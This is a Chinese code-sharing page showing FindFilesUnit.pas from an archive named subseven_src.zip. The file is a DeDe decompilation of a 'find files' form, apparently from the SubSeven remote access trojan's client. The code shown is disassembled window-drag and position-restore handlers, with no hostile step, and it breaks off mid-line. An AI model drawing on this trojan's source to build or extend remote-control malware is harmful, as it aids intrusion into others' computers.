开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
FindFilesUnit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：34k
源码类别：

远程控制编程

开发平台：

Delphi

FindFilesUnit.pas：源码内容
  1. unit FindFilesUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, StdCtrls;
  9. type
  10.   TFindFiles=class(TForm)
  11.     CaptionLabel: TLabel;
  12.     CloseButton: TFlatSpeedButton;
  13.     Label1: TLabel;
  14.     OutlookBtn1: TOutlookBtn;
  15.     OutlookBtn2: TOutlookBtn;
  16.     Lista: TListBox;
  17.     FlatHint: TFlatHint;
  18.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  19.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  20.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  21.     procedure CloseButtonClick(Sender: TObject);
  22.     procedure FormCreate(Sender: TObject);
  23.     procedure FormPaint(Sender: TObject);
  24.     procedure FormResize(Sender: TObject);
  25.     procedure OutlookBtn1Click(Sender: TObject);
  26.     procedure OutlookBtn2Click(Sender: TObject);
  27.   private
  28.     { Private declarations }
  29.   public
  30.     { Public declarations }
  31.   end ;
  33. var
  34.   FindFiles: TFindFiles;
  37. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  39. implementation
  41. {$R *.DFM}
  44. procedure TFindFiles.CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  45. begin
  46. {
  47. 004D4FA0   55                     push    ebp
  48. 004D4FA1   8BEC                   mov     ebp, esp
  49. 004D4FA3   53                     push    ebx
  50. 004D4FA4   8BD8                   mov     ebx, eax
  51. 004D4FA6   8B83C4020000           mov     eax, [ebx+$02C4]
  52. 004D4FAC   8B4024                 mov     eax, [eax+$24]
  53. 004D4FAF   E82875F6FF             call    0043C4DC
  54. 004D4FB4   50                     push    eax
  56. * Reference to: SHBrowseForFolderA.SetCapture
  57. |
  58. 004D4FB5   E8BE28F3FF             call    00407878
  59. 004D4FBA   C783E8020000FFFFFFFF   mov     dword ptr [ebx+$02E8], $FFFFFFFF
  60. 004D4FC4   8B450C                 mov     eax, [ebp+$0C]
  61. 004D4FC7   8983E0020000           mov     [ebx+$02E0], eax
  62. 004D4FCD   8B4508                 mov     eax, [ebp+$08]
  63. 004D4FD0   8983E4020000           mov     [ebx+$02E4], eax
  64. 004D4FD6   5B                     pop     ebx
  65. 004D4FD7   5D                     pop     ebp
  66. 004D4FD8   C20C                   ret     $0C
  69. }
  70.  end ; 
  72. procedure TFindFiles.CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  73. begin
  74. {
  75. 004D4FDC   55                     push    ebp
  76. 004D4FDD   8BEC                   mov     ebp, esp
  77. 004D4FDF   53                     push    ebx
  78. 004D4FE0   56                     push    esi
  79. 004D4FE1   8BD8                   mov     ebx, eax
  80. 004D4FE3   83BBE802000000         cmp     dword ptr [ebx+$02E8], +$00
  81. 004D4FEA   7433                   jz      004D501F
  82. 004D4FEC   8B83C4020000           mov     eax, [ebx+$02C4]
  83. 004D4FF2   8B7024                 mov     esi, [eax+$24]
  84. 004D4FF5   8B83E0020000           mov     eax, [ebx+$02E0]
  85. 004D4FFB   2B450C                 sub     eax, dword ptr [ebp+$0C]
  86. 004D4FFE   8B5630                 mov     edx, [esi+$30]
  87. 004D5001   2BD0                   sub     edx, eax
  88. 004D5003   8BC6                   mov     eax, esi
  89. 004D5005   E8A20EF6FF             call    00435EAC
  90. 004D500A   8B83E4020000           mov     eax, [ebx+$02E4]
  91. 004D5010   2B4508                 sub     eax, dword ptr [ebp+$08]
  92. 004D5013   8B5634                 mov     edx, [esi+$34]
  93. 004D5016   2BD0                   sub     edx, eax
  94. 004D5018   8BC6                   mov     eax, esi
  95. 004D501A   E8B10EF6FF             call    00435ED0
  96. 004D501F   5E                     pop     esi
  97. 004D5020   5B                     pop     ebx
  98. 004D5021   5D                     pop     ebp
  99. 004D5022   C208                   ret     $08
  102. }
  103.  end ; 
  105. procedure TFindFiles.CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  106. begin
  107. {
  108. 004D5028   55                     push    ebp
  109. 004D5029   8BEC                   mov     ebp, esp
  110. 004D502B   53                     push    ebx
  111. 004D502C   56                     push    esi
  112. 004D502D   8BD8                   mov     ebx, eax
  113. 004D502F   83BBE802000000         cmp     dword ptr [ebx+$02E8], +$00
  114. 004D5036   7440                   jz      004D5078
  115. 004D5038   8B83C4020000           mov     eax, [ebx+$02C4]
  116. 004D503E   8B7024                 mov     esi, [eax+$24]
  118. * Reference to: SHBrowseForFolderA.ReleaseCapture
  119. |
  120. 004D5041   E8E227F3FF             call    00407828
  121. 004D5046   33C0                   xor     eax, eax
  122. 004D5048   8983E8020000           mov     [ebx+$02E8], eax
  123. 004D504E   8B83E0020000           mov     eax, [ebx+$02E0]
  124. 004D5054   2B450C                 sub     eax, dword ptr [ebp+$0C]
  125. 004D5057   8B5630                 mov     edx, [esi+$30]
  126. 004D505A   2BD0                   sub     edx, eax
  127. 004D505C   8BC6                   mov     eax, esi
  128. 004D505E   E8490EF6FF             call    00435EAC
  129. 004D5063   8B83E4020000           mov     eax, [ebx+$02E4]
  130. 004D5069   2B4508                 sub     eax, dword ptr [ebp+$08]
  131. 004D506C   8B5634                 mov     edx, [esi+$34]
  132. 004D506F   2BD0                   sub     edx, eax
  133. 004D5071   8BC6                   mov     eax, esi
  134. 004D5073   E8580EF6FF             call    00435ED0
  135. 004D5078   5E                     pop     esi
  136. 004D5079   5B                     pop     ebx
  137. 004D507A   5D                     pop     ebp
  138. 004D507B   C20C                   ret     $0C
  141. }
  142.  end ; 
  144. procedure TFindFiles.CloseButtonClick(Sender: TObject);
  145. begin
  146. {
  147. 004D4F98   E8DFAAF7FF             call    0044FA7C
  148. 004D4F9D   C3                     ret
  151. }
  152.  end ; 
  154. procedure TFindFiles.FormCreate(Sender: TObject);
  155. begin
  156. {
  157. 004D4D40   55                     push    ebp
  158. 004D4D41   8BEC                   mov     ebp, esp
  159. 004D4D43   6A00                   push    $00
  160. 004D4D45   6A00                   push    $00
  161. 004D4D47   53                     push    ebx
  162. 004D4D48   56                     push    esi
  163. 004D4D49   8BD8                   mov     ebx, eax
  164. 004D4D4B   8B35DC495400           mov     esi, [$5449DC]
  165. 004D4D51   33C0                   xor     eax, eax
  166. 004D4D53   55                     push    ebp
  167. 004D4D54   68594F4D00             push    $004D4F59
  169. ***** TRY
  170. |
  171. 004D4D59   64FF30                 push    dword ptr fs:[eax]
  172. 004D4D5C   648920                 mov     fs:[eax], esp
  173. 004D4D5F   8BC3                   mov     eax, ebx
  174. 004D4D61   E85EFEFFFF             call    004D4BC4
  175. 004D4D66   8B06                   mov     eax, [esi]
  176. 004D4D68   8A9085000000           mov     dl, byte ptr [eax+$0085]
  177. 004D4D6E   8BC3                   mov     eax, ebx
  178. 004D4D70   E8BF1AF6FF             call    00436834
  179. 004D4D75   C7430C03000000         mov     dword ptr [ebx+$0C], $00000003
  180. 004D4D7C   A1B44E5400             mov     eax, dword ptr [$544EB4]
  181. 004D4D81   8B00                   mov     eax, [eax]
  182. 004D4D83   E844BCF7FF             call    004509CC
  183. 004D4D88   8BD0                   mov     edx, eax
  184. 004D4D8A   2B5338                 sub     edx, dword ptr [ebx+$38]
  185. 004D4D8D   D1FA                   sar     edx, 1
  186. 004D4D8F   7903                   jns     004D4D94
  187. 004D4D91   83D200                 adc     edx, +$00
  188. 004D4D94   8BC3                   mov     eax, ebx
  189. 004D4D96   E81111F6FF             call    00435EAC
  190. 004D4D9B   A1B44E5400             mov     eax, dword ptr [$544EB4]
  191. 004D4DA0   8B00                   mov     eax, [eax]
  192. 004D4DA2   E819BCF7FF             call    004509C0
  193. 004D4DA7   8BD0                   mov     edx, eax
  194. 004D4DA9   2B533C                 sub     edx, dword ptr [ebx+$3C]
  195. 004D4DAC   D1FA                   sar     edx, 1
  196. 004D4DAE   7903                   jns     004D4DB3
  197. 004D4DB0   83D200                 adc     edx, +$00
  198. 004D4DB3   8BC3                   mov     eax, ebx
  199. 004D4DB5   E81611F6FF             call    00435ED0
  200. 004D4DBA   8D55F8                 lea     edx, [ebp-$08]
  201. 004D4DBD   8B430C                 mov     eax, [ebx+$0C]
  202. 004D4DC0   E8A740F3FF             call    00408E6C
  203. 004D4DC5   8D45F8                 lea     eax, [ebp-$08]
  205. * Possible String Reference to: "_x"
  206. |
  207. 004D4DC8   BA704F4D00             mov     edx, $004D4F70
  208. 004D4DCD   E80EF1F2FF             call    00403EE0
  209. 004D4DD2   8B55F8                 mov     edx, [ebp-$08]
  210. 004D4DD5   8D4DFC                 lea     ecx, [ebp-$04]
  211. 004D4DD8   8B06                   mov     eax, [esi]
  212. 004D4DDA   E895DE0300             call    00512C74
  213. 004D4DDF   837DFC00               cmp     dword ptr [ebp-$04], +$00
  214. 004D4DE3   7436                   jz      004D4E1B
  215. 004D4DE5   8D55F8                 lea     edx, [ebp-$08]
  216. 004D4DE8   8B430C                 mov     eax, [ebx+$0C]
  217. 004D4DEB   E87C40F3FF             call    00408E6C
  218. 004D4DF0   8D45F8                 lea     eax, [ebp-$08]
  220. * Possible String Reference to: "_x"
  221. |
  222. 004D4DF3   BA704F4D00             mov     edx, $004D4F70
  223. 004D4DF8   E8E3F0F2FF             call    00403EE0
  224. 004D4DFD   8B55F8                 mov     edx, [ebp-$08]
  225. 004D4E00   8D4DFC                 lea     ecx, [ebp-$04]
  226. 004D4E03   8B06                   mov     eax, [esi]
  227. 004D4E05   E86ADE0300             call    00512C74
  228. 004D4E0A   8B45FC                 mov     eax, [ebp-$04]
  229. 004D4E0D   E8BE40F3FF             call    00408ED0
  230. 004D4E12   8BD0                   mov     edx, eax
  231. 004D4E14   8BC3                   mov     eax, ebx
  232. 004D4E16   E89110F6FF             call    00435EAC
  233. 004D4E1B   8D55F8                 lea     edx, [ebp-$08]
  234. 004D4E1E   8B430C                 mov     eax, [ebx+$0C]
  235. 004D4E21   E84640F3FF             call    00408E6C
  236. 004D4E26   8D45F8                 lea     eax, [ebp-$08]
  238. * Possible String Reference to: "_y"
  239. |
  240. 004D4E29   BA7C4F4D00             mov     edx, $004D4F7C
  241. 004D4E2E   E8ADF0F2FF             call    00403EE0
  242. 004D4E33   8B55F8                 mov     edx, [ebp-$08]
  243. 004D4E36   8D4DFC                 lea     ecx, [ebp-$04]
  244. 004D4E39   8B06                   mov     eax, [esi]
  245. 004D4E3B   E834DE0300             call    00512C74
  246. 004D4E40   837DFC00               cmp     dword ptr [ebp-$04], +$00
  247. 004D4E44   7436                   jz      004D4E7C
  248. 004D4E46   8D55F8                 lea     edx, [ebp-$08]
  249. 004D4E49   8B430C                 mov     eax, [ebx+$0C]
  250. 004D4E4C   E81B40F3FF             call    00408E6C
  251. 004D4E51   8D45F8                 lea     eax, [ebp-$08]
  253. * Possible String Reference to: "_y"
  254. |
  255. 004D4E54   BA7C4F4D00             mov     edx, $004D4F7C
  256. 004D4E59   E882F0F2FF             call    00403EE0
  257. 004D4E5E   8B55F8                 mov     edx, [ebp-$08]
  258. 004D4E61   8D4DFC                 lea     ecx, [ebp-$04]
  259. 004D4E64   8B06                   mov     eax, [esi]
  260. 004D4E66   E809DE0300             call    00512C74
  261. 004D4E6B   8B45FC                 mov     eax, [ebp-$04]
  262. 004D4E6E   E85D40F3FF             call    00408ED0
  263. 004D4E73   8BD0                   mov     edx, eax
  264. 004D4E75   8BC3                   mov     eax, ebx
  265. 004D4E77   E85410F6FF             call    00435ED0
  266. 004D4E7C   8D55F8                 lea     edx, [ebp-$08]
  267. 004D4E7F   8B430C                 mov     eax, [ebx+$0C]
  268. 004D4E82   E8E53FF3FF             call    00408E6C
  269. 004D4E87   8D45F8                 lea     eax, [ebp-$08]
  271. * Possible String Reference to: "_h"
  272. |
  273. 004D4E8A   BA884F4D00             mov     edx, $004D4F88
  274. 004D4E8F   E84CF0F2FF             call    00403EE0
  275. 004D4E94   8B55F8                 mov     edx, [ebp-$08]
  276. 004D4E97   8D4DFC                 lea     ecx, [ebp-$04]
  277. 004D4E9A   8B06                   mov     eax, [esi]
  278. 004D4E9C   E8D3DD0300             call    00512C74
  279. 004D4EA1   837DFC00               cmp     dword ptr [ebp-$04], +$00
  280. 004D4EA5   7436                   jz      004D4EDD
  281. 004D4EA7   8D55F8                 lea     edx, [ebp-$08]
  282. 004D4EAA   8B430C                 mov     eax, [ebx+$0C]
  283. 004D4EAD   E8BA3FF3FF             call    00408E6C
  284. 004D4EB2   8D45F8                 lea     eax, [ebp-$08]
  286. * Possible String Reference to: "_h"
  287. |
  288. 004D4EB5   BA884F4D00             mov     edx, $004D4F88
  289. 004D4EBA   E821F0F2FF             call    00403EE0
  290. 004D4EBF   8B55F8                 mov     edx, [ebp-$08]
  291. 004D4EC2   8D4DFC                 lea     ecx, [ebp-$04]
  292. 004D4EC5   8B06                   mov     eax, [esi]
  293. 004D4EC7   E8A8DD0300             call    00512C74
  294. 004D4ECC   8B45FC                 mov     eax, [ebp-$04]
  295. 004D4ECF   E8FC3FF3FF             call    00408ED0
  296. 004D4ED4   8BD0                   mov     edx, eax
  297. 004D4ED6   8BC3                   mov     eax, ebx
  298. 004D4ED8   E83F10F6FF             call    00435F1C
  299. 004D4EDD   8D55F8                 lea     edx, [ebp-$08]
  300. 004D4EE0   8B430C                 mov     eax, [ebx+$0C]
  301. 004D4EE3   E8843FF3FF             call    00408E6C
  302. 004D4EE8   8D45F8                 lea     eax, [ebp-$08]
  304. * Possible String Reference to: "_w"
  305. |
  306. 004D4EEB   BA944F4D00             mov     edx, $004D4F94
  307. 004D4EF0   E8EBEFF2FF             call    00403EE0
  308. 004D4EF5   8B55F8                 mov     edx, [ebp-$08]
  309. 004D4EF8   8D4DFC                 lea     ecx, [ebp-$04]
  310. 004D4EFB   8B06                   mov     eax, [esi]
  311. 004D4EFD   E872DD0300             call    00512C74
  312. 004D4F02   837DFC00               cmp     dword ptr [ebp-$04], +$00
  313. 004D4F06   7436                   jz      004D4F3E
  314. 004D4F08   8D55F8                 lea     edx, [ebp-$08]
  315. 004D4F0B   8B430C                 mov     eax, [ebx+$0C]
  316. 004D4F0E   E8593FF3FF             call    00408E6C
  317. 004D4F13   8D45F8                 lea     eax, [ebp-$08]
  319. * Possible String Reference to: "_w"
  320. |
  321. 004D4F16   BA944F4D00             mov     edx, $004D4F94
  322. 004D4F1B   E8C0EFF2FF             call    00403EE0
  323. 004D4F20   8B55F8                 mov     edx, [ebp-$08]
  324. 004D4F23   8D4DFC                 lea     ecx, [ebp-$04]
  325. 004D4F26   8B06                   mov     eax, [esi]
  326. 004D4F28   E847DD0300             call    00512C74
  327. 004D4F2D   8B45FC                 mov     eax, [ebp-$04]
  328. 004D4F30   E89B3FF3FF             call    00408ED0
  329. 004D4F35   8BD0                   mov     edx, eax
  330. 004D4F37   8BC3                   mov     eax, ebx
  331. 004D4F39   E8BA0FF6FF             call    00435EF8
  332. 004D4F3E   33C0                   xor     eax, eax
  333. 004D4F40   5A                     pop     edx
  334. 004D4F41   59                     pop     ecx
  335. 004D4F42   59                     pop     ecx
  336. 004D4F43   648910                 mov     fs:[eax], edx
  338. ****** FINALLY
  339. |
  341. * Possible String Reference to: "^[YY]